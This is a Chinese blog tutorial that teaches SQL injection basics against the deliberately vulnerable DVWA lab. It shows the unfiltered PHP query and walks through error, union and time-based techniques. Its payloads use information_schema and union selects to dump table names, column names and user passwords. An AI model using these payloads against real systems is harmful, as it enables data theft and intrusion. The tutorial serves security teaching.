SQL注入-基础

Posted XG小刚

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入-基础相关的知识,希望对你有一定的参考价值。


一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚


 前言 

学习环境

正文开始搞了两天得我,终于明白了一点SQL注入的原理
sql注入说白了就是对于数据库的查询没有进行防护过滤,攻击者通过构造sql查询语句,达到查看数据库信息的一种方式。
本次是通过
dvwa的sql 注入 口进行学习

本次注入测试只是针对于mysql数据库低安全度的查询语句:

$id = $_GET['id'];$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"


这一句算是最基础的数据库查询语句,通过user_id=@aa条件来查找dvwa库users表中的列的信息
由于没有对用户的输入$id进行过滤,就很容易构造出各种各样花里胡哨的查询库信息的语句。



 语句 

了解Mysql的部分语句

show database;显示所有数据库
show tables;显示数据库列表
select database();显示当前的库
select user();显示当前的用户
select now();当前时间
use dvwa;进入dvwa库
desc users;查看表users内容
desc dvwa.users;可以从这个库看别的库的表名


 四种方式 

sql注入可以分四种
基于错误的注入,基于布尔类型,联合查询,基于时间注入

基于错误注入

最主要的是 ’ ,如果查询时报错,说明没有对输入内容进行过滤,就有可能存在注入点,当然,对于其他进行了优化处理的,需要你自己慢慢摸索。

MySQL中查询语句

select * from users;查看users表中所有字段
select * from dvwa.users;查看dvwa库的users表中的字段
select user,passwd from users;从users表查询user和passwd表

条件查询where 条件

select * from mysql.users where user=root; #root为字段
select * from mysql.users where user='root'; #root为值,数字不能是字段,需要引号
select user,passwd from users where user=8888 or 1=1; #user=88不成立,1=1成立,所以整条语句成立

union 联合查询:前后字段数要相同

select * from admin where users union select 15,66,33; #*的字段数目要个后面字段数一致,这就要猜字段数,数字可以随便充当字段。
select user,passwd,first_name from users union select first_name,last_name,3 from dvwa.users limit 5; #limit是显示几行
select * from admin.user;数据库user表名


 构造语句 

懂得了查询语句,就可以在sql注入时进行各种构造

基本模板是

' or 1=1 union select 1,2,3 from users where users_id =1 -- 

注意得到是单引号是把前面的语句补齐,双横线是把后面的内容给注释掉。


基于时间的注入

在盲注时候,输入单引号可能不会报错,所以你无法确切是否存在sql注入。这时候就需要一个时间睡眠

1' sleep(5) -- 

如果查询延续了五秒,说明没有被过滤,存在SQL注入


information_schema

这是数据库中非常特殊的一个库,也是非常牛逼的一个库,只要搞到里面的信息,整个数据库的信息你基本都可以查到了。它相当于数据库字典,查询数据库名和表名。

select table_schema,group_concat(table_name) from information_schema.tables group by table_schema; #查询数据库名和对应的表名


各种构造:

' union select 1,table_name from information_schema.tables -- ' 查询表名
' union select 1,column_name from information_schema.columns where table_name='users' -- 查询列名
' union select user,password from users -- emm
' union select password,concat(first_name, ' ##' ,last_name, ' **' , user) from users -- 查询多个信息

以上是我通过手工注入时所用到的各种语句。

如果嫌麻烦可以用sqlmap等神奇的工具进行查询。

但好多sql查询还是靠手工测试来的准确,所以懂得sql注入的原理还是比较重要的。

以上是关于SQL注入-基础的主要内容,如果未能解决你的问题,请参考以下文章

PHP代码审计入门(SQL注入漏洞挖掘基础)

MyBatis如何防止SQL注入

MyBatis怎么防止SQL注入

mybatis以及预编译如何防止SQL注入

84)PHP,SQL注入基础讲解

手机只需发条消息即可开始大规模SQL注入攻击